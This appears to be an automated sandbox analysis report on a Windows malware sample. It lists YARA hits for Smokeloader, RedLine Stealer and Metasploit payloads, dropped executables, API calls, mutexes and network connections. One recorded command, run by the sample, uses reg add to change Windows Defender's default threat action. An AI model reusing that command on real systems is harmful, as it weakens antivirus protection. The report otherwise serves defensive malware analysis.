Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725

Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49726 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8132, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000009.00000002.2102908522.00000000020C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000009.00000002.2102510892.00000000004AD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.1766538879.000000000198E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 0000000A.00000002.1766830141.0000000001B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 1947136

Drops large PE files

Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe

File dump: service123.exe.6.dr 314617856

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CC00 __aulldiv,VirtualAlloc,__aulldiv,__aulldiv,NtQuerySystemInformation,__aulldiv,WideCharToMultiByte,CharToOemA,VirtualFree,__aulldiv,	3_2_0042CC00
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0042F530 NtdllDefWindowProc_A,	11_2_0042F530
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00423B94 NtdllDefWindowProc_A,	11_2_00423B94
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004125E8 NtdllDefWindowProc_A,	11_2_004125E8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004789DC NtdllDefWindowProc_A,	11_2_004789DC
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004573CC PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,	11_2_004573CC

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Code function: 11_2_0042E944: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,

11_2_0042E944

Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		7_2_00409448
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004555D0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		11_2_004555D0

Source: C:\Windows\SysWOW64\schtasks.exe

File created: C:\Windows\Tasks\bMvfdBTccYfZYKRCwN.job

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00427140	3_2_00427140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00436570	3_2_00436570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042C520	3_2_0042C520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004305F0	3_2_004305F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0046D580	3_2_0046D580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00431690	3_2_00431690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004516A0	3_2_004516A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00442810	3_2_00442810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004379C0	3_2_004379C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004349D0	3_2_004349D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00433A90	3_2_00433A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00434BF0	3_2_00434BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00509CE0	3_2_00509CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00440DC0	3_2_00440DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004CEF10	3_2_004CEF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004210E0	3_2_004210E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402100	3_2_00402100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004241E0	3_2_004241E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00441320	3_2_00441320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004213A0	3_2_004213A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004233A0	3_2_004233A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D420	3_2_0042D420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042A510	3_2_0042A510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5E0	3_2_0040B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004435F0	3_2_004435F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00422580	3_2_00422580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00405640	3_2_00405640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00424660	3_2_00424660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00517635	3_2_00517635
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402630	3_2_00402630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_005636CC	3_2_005636CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0054E6CA	3_2_0054E6CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00513840	3_2_00513840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00544809	3_2_00544809
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00517830	3_2_00517830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00421820	3_2_00421820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0057B914	3_2_0057B914
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041E9E0	3_2_0041E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0044AA40	3_2_0044AA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00562AB0	3_2_00562AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00425BD0	3_2_00425BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DBD0	3_2_0042DBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CC00	3_2_0042CC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00543E60	3_2_00543E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00552ED0	3_2_00552ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00550E98	3_2_00550E98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401E90	3_2_00401E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00567FBD	3_2_00567FBD
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_0040840C	7_2_0040840C
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_004162A6	8_2_004162A6
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_0040E5A5	8_2_0040E5A5
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_004126B0	8_2_004126B0
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_00403A01	8_2_00403A01
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_00418EF1	8_2_00418EF1
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_00418FCB	8_2_00418FCB
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_00408A70	9_2_00408A70
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_00402C60	9_2_00402C60
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_004248CD	9_2_004248CD
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_004120D3	9_2_004120D3
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_004249ED	9_2_004249ED
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_00422AC7	9_2_00422AC7
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_00412305	9_2_00412305
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_004154F0	9_2_004154F0
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_00420533	9_2_00420533
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0040E580	9_2_0040E580
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0041C599	9_2_0041C599
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0041BE73	9_2_0041BE73
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_1000E184	9_2_1000E184
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_100102A0	9_2_100102A0
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020D233A	9_2_020D233A
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020E4B34	9_2_020E4B34
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020DC0DA	9_2_020DC0DA
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020C5E13	9_2_020C5E13
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020D5757	9_2_020D5757
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020C5F7B	9_2_020C5F7B
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020E079A	9_2_020E079A
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020CE7E7	9_2_020CE7E7
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020E4C54	9_2_020E4C54
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020C8CD7	9_2_020C8CD7
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020D256C	9_2_020D256C
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004804C6	11_2_004804C6
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00470950	11_2_00470950
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004352D8	11_2_004352D8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00467710	11_2_00467710
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0043036C	11_2_0043036C
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004444D8	11_2_004444D8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004345D4	11_2_004345D4
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00486604	11_2_00486604
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00444A80	11_2_00444A80
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00430EF8	11_2_00430EF8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00445178	11_2_00445178
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0045F430	11_2_0045F430
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0045B4D8	11_2_0045B4D8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00487564	11_2_00487564
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00445584	11_2_00445584
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00469770	11_2_00469770
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0048D8C4	11_2_0048D8C4
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004519A8	11_2_004519A8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_0043DD60	11_2_0043DD60

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: String function: 020CD9F7 appears 39 times
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: String function: 10003160 appears 34 times
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: String function: 0040D790 appears 39 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004172E0 appears 53 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0053F9A0 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 00405964 appears 116 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 00408C14 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 00406ACC appears 41 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 00403400 appears 61 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 00445DE4 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 004078FC appears 43 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 004344EC appears 32 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 00403494 appears 79 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 00457D58 appears 69 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 00453330 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 00457B4C appears 90 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 00403684 appears 221 times
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: String function: 004460B4 appears 59 times
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: String function: 00403A9C appears 33 times
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: String function: 00413954 appears 179 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7916 -ip 7916

Source: stories[1].exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: hI6pMK6rYY2urO_lpGyU85DA.exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: hI6pMK6rYY2urO_lpGyU85DA.tmp.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: hI6pMK6rYY2urO_lpGyU85DA.tmp.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: hI6pMK6rYY2urO_lpGyU85DA.tmp.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: hI6pMK6rYY2urO_lpGyU85DA.tmp.7.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped

Source: file.exe, 00000000.00000002.1416416612.000000000118E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000002.1417872247.0000000004025000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameVQP.exe\ vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

Source: 00000009.00000002.2102908522.00000000020C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000009.00000002.2102510892.00000000004AD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.1766538879.000000000198E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 0000000A.00000002.1766830141.0000000001B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: univ[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: tyq3dazbB0crObgKIDGLxiAO.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Y-Cleaner.exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.winEXE@114/107@8/13

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe

Code function: 9_2_00402940 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

9_2_00402940

Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Code function: 7_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		7_2_00409448
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004555D0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		11_2_004555D0

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Code function: 11_2_00455DF8 GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

11_2_00455DF8

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe

Code function: 9_2_004B2ECF CreateToolhelp32Snapshot,Module32First,

9_2_004B2ECF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004334B0 CoInitializeEx,CoInitializeSecurity,CoUninitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,VariantClear,CoUninitialize,

3_2_004334B0

Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe

Code function: 7_2_00409BEC FindResourceA,SizeofResource,LoadResource,LockResource,

7_2_00409BEC

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7264:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4436:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:8124:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2148:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7916
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5880:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7508:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\KejwopdnfWW_3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5372:120:WilError_03

Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe

File created: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to behavior

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: nine.exe	9_2_00408A70
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: @G@K	9_2_00408A70
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: A@K.	9_2_00408A70
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: two.exe	9_2_00408A70
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: @G@K	9_2_00408A70
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: ZYA.	9_2_00408A70
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: NOSUB	9_2_00408A70
